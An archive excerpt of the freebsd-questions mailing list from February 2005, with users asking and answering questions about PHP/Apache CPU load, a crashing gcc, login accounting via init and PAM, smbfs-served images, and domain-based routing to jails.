"freebsd-questions" X-mailer: Foxmail 5.0 [cn] Mime-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 7bit Message-Id: <20050206115326.32A9643D41@mx1.FreeBSD.org> cc: abbish Subject: The F5 does not stop to break to cause the server of FreeBSD paralyze the problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:53:27 -0000 Managing person good: My system is a FreeBSD+ Apache+ PHP4.10+Mysql4.08 do the WEB server usage, appearing to open a Web page to press down the F5 now not to stop to break, would appear the CPU to take up the rate 100% memory usage quantity to explode the full circumstance, please ask how to solve? I am Chinese, my English is not so good please forgive, this problem seems the common problem that all usages FreeBSD installs the WEB server, pleasing the conferrable reply, thank! From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:58:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A8D6F16A4CF for ; Sun, 6 Feb 2005 11:58:24 +0000 (GMT) Received: from web60310.mail.yahoo.com (web60310.mail.yahoo.com [216.109.118.121]) by mx1.FreeBSD.org (Postfix) with SMTP id 2AB3243D2F for ; Sun, 6 Feb 2005 11:58:24 +0000 (GMT) (envelope-from neeloofar63@yahoo.com) Received: (qmail 64603 invoked by uid 60001); 6 Feb 2005 11:58:23 -0000 Comment: DomainKeys? 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From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:00:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5078616A4CE for ; Sun, 6 Feb 2005 12:00:01 +0000 (GMT) Received: from enterprise.thenetnow.com (enterprise.thenetnow.com [65.39.193.152]) by mx1.FreeBSD.org (Postfix) with ESMTP id C1DC543D31 for ; Sun, 6 Feb 2005 12:00:00 +0000 (GMT) (envelope-from gpeel@thenetnow.com) Received: from GRANT (hpeel.ody.ca [216.240.12.2])j16BxvR25040 for ; Sun, 6 Feb 2005 06:59:57 -0500 (EST) (envelope-from gpeel@thenetnow.com) Message-ID: <027301c50c43$5851b8a0$6401a8c0@GRANT> From: "Grant Peel" To: Date: Sun, 6 Feb 2005 06:59:40 -0500 Organization: The Net Now MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: Broken Comiler X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Grant Peel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:00:01 -0000 Hi all, A few weeks back, on of my raid drives cacked. Since then, I have not been able to comple anything. I get messages like: (example while trying to .configure php4.3.10). loading cache ./config.cache checking host system type... i386-unknown-freebsd4.4 checking for gcc... gcc checking whether the C compiler (gcc ) works... no configure: error: installation or configuration problem: C compiler cannot create executables. I tried to rebuild the compiler from ports, but it would no make either...keeps telling me to set cc to a working compiler... Is there any way to fix this short of rebuilding the whole os? A bianary compiler perhaps? -Grant From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:03:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 200BB16A4CE for ; Sun, 6 Feb 2005 12:03:59 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id DFD3743D2F for ; Sun, 6 Feb 2005 12:03:57 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16C3uGf003462 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 04:03:57 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16C3unR003460; Sun, 6 Feb 2005 04:03:56 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 04:03:56 -0800 From: "Loren M. Lang" To: John Message-ID: <20050206120356.GU8619@alzatex.com> References: <51563600.20050205125343@wanadoo.fr> <20050205100125.C47038@starfire.mn.org> <971531375.20050206000007@wanadoo.fr> <20050205172451.A49675@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050205172451.A49675@starfire.mn.org> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: Running top without a shell -- more questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:03:59 -0000 On Sat, Feb 05, 2005 at 05:24:51PM -0600, John wrote: > On Sun, Feb 06, 2005 at 12:00:07AM +0100, Anthony Atkielski wrote: > > John writes: > > > > > J> Once upon a time, like version 7 Unix, login would simply make an > > J> exec-family call to replace itself with the desired "shell" after > > J> doing all the setup, ID's changes, and so forth, and that would > > J> cause init to spawn a new getty when the wait for that pid returned. > > J> It was simple, and it was elegant, it reclaimed the resources used > > J> by login (this was in the days of 64k data space + 64k program code > > J> space, period), but there was no reliable way to collect logout > > J> information, so that hasn't been true in a long, long time. > > > > Someone gains the terminal back after logout (init?); wouldn't that > > program be able to handle logout accounting? > > init never knew who was logged in. Getty gets the user's name, > login gets the password - but that information never goes back > to init. init doesn't need to know who was logged, just what tty it's on. The accounting information that programs like who use to show who's logged it the wtmp and/or utmp files which are updated by init, getty, login, X, ssh, etc. init first forks off a new process which becomes getty. getty will then exec login which then execs the user shell. The user's shell is still the child process of init and when it exits, init gets a signal and then updates wtmp/utmp saying the user's no longer logged in. Now on more recent unices, login has a tendency to fork a new process for the shell and stay around, but it's not to update wtmp/utmp, init will do that. When I looked through the linux source code of login a while back, it had an ifdef which added in code for dealing which the pam authentication. If pam was disabled, login would behave like traditional unices and just exec the shell, but with pam it would make a call to the pam session modules that a user is logging on and stick around to tell the pam session module that the user has logged out. This is needed since init knows nothing of pam and has no need to. An example pam session module would be one that updates the permissions on the dsp device files so that whoever logged into the console would have permission to use the sound card, and reset the permissions to root when the user logs out. Now if that same user logged remotely with ssh instead, they won't be granted use of the sound card so they can't do something like listen on the mic to spy on who ever is logged into the console instead. The regular accounting going on though is still maintained by init and login which login first starts, not by pam. > > > J> What you could do is actually not run login, either. You could > > J> modify /etc/ttys to call your own little buffer program. You > > J> do NOT want to change /etc/ttys to run top directly, because it > > J> would be running as root, and top has a built in k (kill) command, > > J> so you would not want to have that! > > > > I prefer to avoid changing any of the standard software; updates become > > a nightmare when you have custom mods out there. > > No, no! I am not suggesting changing the standard software! I'm > not saying to change getty or login, just the usual configuration > file that controls where the system runs gettys (or xdm, or what > have you). This is no more changing "standard software" than > making entries in rc.conf. > > > I've modified login programs on other systems (not UNIX systems), and > > they are maintenance and security nightmares, although you can do all > > sorts of cool stuff. > > I'm not suggesting you do so. > > > Thanks for the other suggestions, though. I'll look them up if I ever > > wish to again tread the dangerous path of site modifications to standard > > software (right now, I just don't have the time to open that can of > > worms, alas!). > > I'm not suggesting you modify any standard software. I'm not suggestion > you run a custom getty for all your logins. I'm just saying that > rather than running ANY login softwater at all - just use init > to run top instead! > > Look - if this makes you more comfortable - just turn off logins > ENTIRELY on one ttyv. Then use the program I wrote to just run > top on the ttyv on which logins are no-longer allowed. You could > start it with cron or /etc/rc.d something instead of /etc/ttys. > It doesn't matter how it gets started - the point is, NO LOGIN AT > ALL is allowed on that terminal - how is that a security risk? > > You don't have to log in as top or root or anything - no logins - > top just runs as the user YOU specify.... > -- > > John Lind > john@starfire.MN.ORG > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:12:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8D3FA16A4D7 for ; Sun, 6 Feb 2005 12:12:54 +0000 (GMT) Received: from szamoca.krvarr.bc.ca (s142-179-111-232.bc.hsia.telus.net [142.179.111.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1D18143D1F for ; Sun, 6 Feb 2005 12:12:54 +0000 (GMT) (envelope-from sandy@krvarr.bc.ca) Received: from szamoca.krvarr.bc.ca (localhost [127.0.0.1]) by szamoca.krvarr.bc.ca (8.13.1/8.12.11) with ESMTP id j16CCj3i083986; Sun, 6 Feb 2005 04:12:45 -0800 (PST) (envelope-from sandy@szamoca.krvarr.bc.ca) Received: (from sandy@localhost) by szamoca.krvarr.bc.ca (8.13.1/8.12.11/Submit) id j16CCi50083983; Sun, 6 Feb 2005 04:12:44 -0800 (PST) (envelope-from sandy) From: Sandy Rutherford MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16902.2492.563059.728806@szamoca.krvarr.bc.ca> Date: Sun, 6 Feb 2005 04:12:44 -0800 To: "Ted Mittelstaedt" In-Reply-To: References: <1107650090.5213.9.camel@p4> X-Mailer: VM 7.07 under Emacs 21.3.1 X-krvarr.bc.ca-MailScanner-Information: Please contact postmaster@krvarr.bc.ca for more information. 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X-krvarr.bc.ca-MailScanner-From: sandy@szamoca.krvarr.bc.ca cc: Robert Marella cc: freebsd-questions@freebsd.org Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:12:54 -0000 >>>>> On Sun, 6 Feb 2005 01:59:40 -0800, >>>>> "Ted Mittelstaedt" said: >> -----Original Message----- >> From: owner-freebsd-questions@freebsd.org >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Robert Marella >> Sent: Saturday, February 05, 2005 4:35 PM >> To: freebsd-questions@freebsd.org >> Subject: Re: favor >> >> >> Am I the only one longing for a freebsd-legal mail list that I will not >> subscribe to? >> > Hmm - let's see now, FreeBSD's entire reason for existence is to keep > UNIX from being legally locked up by copyright holders so that people > like you can play with it - and you purport to be completely uninterested > in legal issues? > I guess only the FreeBSD legal issues that don't directly affect you - > now > what were those again? > Ted This is a very good point. Eons ago, this thread got started because someone asked to have some of their posts removed from the archive of this list. If people are getting sued because of actions that they may or may not take when _volunteering_ their time in good faith to manage a support list such as this, then we have a problem. Sandy From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:15:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5ABBD16A4CE for ; Sun, 6 Feb 2005 12:15:30 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 62EA943D2F for ; Sun, 6 Feb 2005 12:15:29 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16CFRGf003608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 04:15:28 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16CFQrU003606; Sun, 6 Feb 2005 04:15:26 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 04:15:25 -0800 From: "Loren M. Lang" To: Incoming Mail List Message-ID: <20050206121525.GV8619@alzatex.com> References: <200502060855.j168tdfJ086118@whoweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200502060855.j168tdfJ086118@whoweb.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: smbfs problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:15:30 -0000 On Sun, Feb 06, 2005 at 03:55:39AM -0500, Incoming Mail List wrote: > > I'm experiencing a strange problem with smbfs and can't find any > references to it on the web. I've mounted a share from a win2k > machine that contains JPEG images to a mount point on my FreeBSD > system using mount_smbfs. The mount point is located within an http > directory tree so the JPEG images can be published on the web without > using ftp. I take it the files view just fine over http, just not through the smb mount? > > >From the FBSD console (or terminal), I can read, copy, and write > to/from the win2k share. All files within the win2k share are > showing 755 permissions. The permissions you see under freebsd are not the same permissions that win2k is providing. The smb client running on your freebsd box is setup by default to offer all files as 755 permissions, but the samba client doesn't verify that it can offer those files to you so you may still not be able to read the files even though it looks like it in freebsd. Assuming the user you are access it as is account, make sure on the windows box that user account has permission to read the files. > > When I point a web browser (konqueror,MSIE) at the URL for this > particular mount point the contents of the share show up (http > directory listing) but I can't view any of the JPEG images. When > I click on any image listed in the http directory listing, they > show up blank just as if you had requested an image that doesn't > exist on the web server. > > >From the FBSD side, I changed directory to the win2k share and > created an HTML file that output text only. It worked. After > refreshing the web browser, the .html file was listed and when > I clicked on it, it rendered the text. > > Next, I added an tag to the same HTML file in the win2k share > so it would output a JPEG image that was located there. The text > appeared, but the image didn't. > > Next, I used a third machine running XP and accessed the win2k share > via windows explorer. I clicked my way into the share and XP > rendered all the images. > > I don't have X on the FBSD machine so I was not able to test viewing > the JPEG images locally on the FBSD side. > > For some reason, JPEG images located within a smbfs mount will not > display through a web browser. Has anyone else experienced this? > Anyone willing to try to reproduce this? I don't know if this is > smbfs, samba, or apache. > > VERSION and COMMAND INFO > ======================== > mount_smbfs -N -I 192.168.20.6 //account@machine/share /path/to/mountpnt > > FBSD 5.2.1 > Apache-2.0.52 > Samba-3.0.10 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:18:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 398F616A4CE for ; Sun, 6 Feb 2005 12:18:51 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5A4AB43D3F for ; Sun, 6 Feb 2005 12:18:50 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16CInGf003678 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 04:18:49 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16CInB5003676; Sun, 6 Feb 2005 04:18:49 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 04:18:49 -0800 From: "Loren M. Lang" To: Grant Peel Message-ID: <20050206121849.GW8619@alzatex.com> References: <027301c50c43$5851b8a0$6401a8c0@GRANT> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <027301c50c43$5851b8a0$6401a8c0@GRANT> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: Broken Comiler X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:18:51 -0000 On Sun, Feb 06, 2005 at 06:59:40AM -0500, Grant Peel wrote: > Hi all, > > A few weeks back, on of my raid drives cacked. > > Since then, I have not been able to comple anything. I get messages like: > > (example while trying to .configure php4.3.10). > loading cache ./config.cache > checking host system type... i386-unknown-freebsd4.4 > checking for gcc... gcc > checking whether the C compiler (gcc ) works... no > configure: error: installation or configuration problem: C compiler cannot > create executables. > > I tried to rebuild the compiler from ports, but it would no make > either...keeps telling me to set cc to a working compiler... > > Is there any way to fix this short of rebuilding the whole os? A bianary > compiler perhaps? I'm assuming that you can run gcc by hand just fine. There is a file created by configure called config.log showing information about what it's doing and any error messages it received. If you could look through that or post relavent portions, that might help track down the problem. > > -Grant > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:23:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7CD0016A4CE for ; Sun, 6 Feb 2005 12:23:10 +0000 (GMT) Received: from enterprise.thenetnow.com (enterprise.thenetnow.com [65.39.193.152]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0535B43D54 for ; Sun, 6 Feb 2005 12:23:10 +0000 (GMT) (envelope-from gpeel@thenetnow.com) Received: from GRANT (hpeel.ody.ca [216.240.12.2])j16CN6R26006; Sun, 6 Feb 2005 07:23:06 -0500 (EST) (envelope-from gpeel@thenetnow.com) Message-ID: <028201c50c46$940840a0$6401a8c0@GRANT> From: "Grant Peel" To: "Loren M. Lang" References: <027301c50c43$5851b8a0$6401a8c0@GRANT> <20050206121849.GW8619@alzatex.com> Date: Sun, 6 Feb 2005 07:22:48 -0500 Organization: The Net Now MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 cc: freebsd-questions@freebsd.org Subject: Re: Broken Comiler X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Grant Peel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:23:10 -0000 Sorry, I sent the console output and forgot the config.log output.... Here it is... # more config.log This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. configure:1638: checking host system type configure:1726: checking for gcc configure:1839: checking whether the C compiler (gcc ) works configure:1855: gcc -o conftest conftest.c 1>&5 gcc: Internal compiler error: program cc1 got fatal signal 11 configure: failed program was: #line 1850 "configure" #include "confdefs.h" main(){return(0);} ----- Original Message ----- From: "Loren M. Lang" To: "Grant Peel" Cc: Sent: Sunday, February 06, 2005 7:18 AM Subject: Re: Broken Comiler > On Sun, Feb 06, 2005 at 06:59:40AM -0500, Grant Peel wrote: >> Hi all, >> >> A few weeks back, on of my raid drives cacked. >> >> Since then, I have not been able to comple anything. I get messages like: >> >> (example while trying to .configure php4.3.10). >> loading cache ./config.cache >> checking host system type... i386-unknown-freebsd4.4 >> checking for gcc... gcc >> checking whether the C compiler (gcc ) works... no >> configure: error: installation or configuration problem: C compiler >> cannot >> create executables. >> >> I tried to rebuild the compiler from ports, but it would no make >> either...keeps telling me to set cc to a working compiler... >> >> Is there any way to fix this short of rebuilding the whole os? A bianary >> compiler perhaps? > > I'm assuming that you can run gcc by hand just fine. > > There is a file created by configure called config.log showing > information about what it's doing and any error messages it received. > If you could look through that or post relavent portions, that might > help track down the problem. > >> >> -Grant >> >> >> >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" > > -- > I sense much NT in you. > NT leads to Bluescreen. > Bluescreen leads to downtime. > Downtime leads to suffering. > NT is the path to the darkside. > Powerful Unix is. > > Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc > Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C > > > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:23:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 31D4C16A4CE for ; Sun, 6 Feb 2005 12:23:29 +0000 (GMT) Received: from shrike.submonkey.net (cpc2-cdif3-6-0-cust204.cdif.cable.ntl.com [81.103.67.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9276C43D2D for ; Sun, 6 Feb 2005 12:23:28 +0000 (GMT) (envelope-from ceri@submonkey.net) Received: from mini.private.submonkey.net ([192.168.10.11]) by shrike.submonkey.net with esmtp (Exim 4.44 (FreeBSD)) id 1CxlRl-000E9h-Hn for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 12:23:27 +0000 Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <1258430214.20050206025603@wanadoo.fr> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> <1258430214.20050206025603@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <195ccf104800b8baa14ec1690154cd14@submonkey.net> Content-Transfer-Encoding: 7bit From: Ceri Davies Date: Sun, 6 Feb 2005 12:23:12 +0000 To: freebsd-questions@freebsd.org X-Pgp-Agent: GPGMail 1.0.2 X-Mailer: Apple Mail (2.619.2) Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:23:29 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 6 Feb 2005, at 01:56, Anthony Atkielski wrote: > Sandy Rutherford writes: > > SR> However, it is hard to see that as the prerequisite "positive act" > SR> on the part of the web site owner. It is more a positive act on > SR> Google's part. > > Google doesn't find out about sites through magic. Webmasters must > request that their sites be indexed. > That is utterly untrue. Ceri -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFCBgw9ocfcwTS3JF8RAvZ2AJ0fRzbuhmqIM7uq5dEUEbUrmu77vwCfdfrP iGaWT8EBYkDjuMyTFtNteLk= =+eHy -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:26:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 050D916A4CE for ; Sun, 6 Feb 2005 12:26:43 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC5FA43D2D for ; Sun, 6 Feb 2005 12:26:41 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16CQeGf017182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 04:26:40 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16CQeQg017180; Sun, 6 Feb 2005 04:26:40 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 04:26:39 -0800 From: "Loren M. Lang" To: r p Message-ID: <20050206122639.GX8619@alzatex.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: Redirect based on domain name X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:26:43 -0000 On Sun, Feb 06, 2005 at 05:17:25PM +0800, r p wrote: > Hi, > > I've set up two jails on my system. I'm wondering if it's possible to > redirect incoming traffic to a particular jail based on the domain > name? > > So, if someone connected to "first.com" they would be directed to the > 192.168.0.1 jail, and if they connected to "second.com" they would be > directed to the 192.168.0.2 jail. This can't easily be done, sorry to say. That's because when a computer receives a connection, all it has is an ip address of where it's coming from and going to. A computer first's does a dns lookup of first.com to get it's ip address, then connects to first.com over tcp/ip to do whatever it's trying to do. It's like looking a person up in the phone book and calling their number, the person called has no clue how you got their number unless you tell them. Some protocols like http support having the browser client to tell them what domain name they tried to use, but other protocols like ssh don't so having two ssh servers on a host either requires different ips or different ports. Apache provides a feature called name-based virtual hosting that allows multiple servers running on the same ip whose only difference is the domain name they used. That works because part of the http protocol includes a line where the browser say, "I'm trying to contact first.com," but that is certainly not required for the protocol. Some really old browsers won't work because that was added to the protocol after it was first established. > > I'd like to do it for www and ssh. Someone suggested to me that maybe > squid could be employed for the www part. > > At the moment I'm achieving this by listening for non-standard ports > on my firewall/gateway box and then redirecting to the correct jail > based on what port is connected to. > > Any ideas, or pointers? > > > --- > Rick > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:29:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D00B616A4CE for ; Sun, 6 Feb 2005 12:29:03 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 18DEA43D2D for ; Sun, 6 Feb 2005 12:29:03 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16CT2Gf017195 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 04:29:02 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16CT2bf017193; Sun, 6 Feb 2005 04:29:02 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 04:29:01 -0800 From: "Loren M. Lang" To: r p Message-ID: <20050206122901.GY8619@alzatex.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i 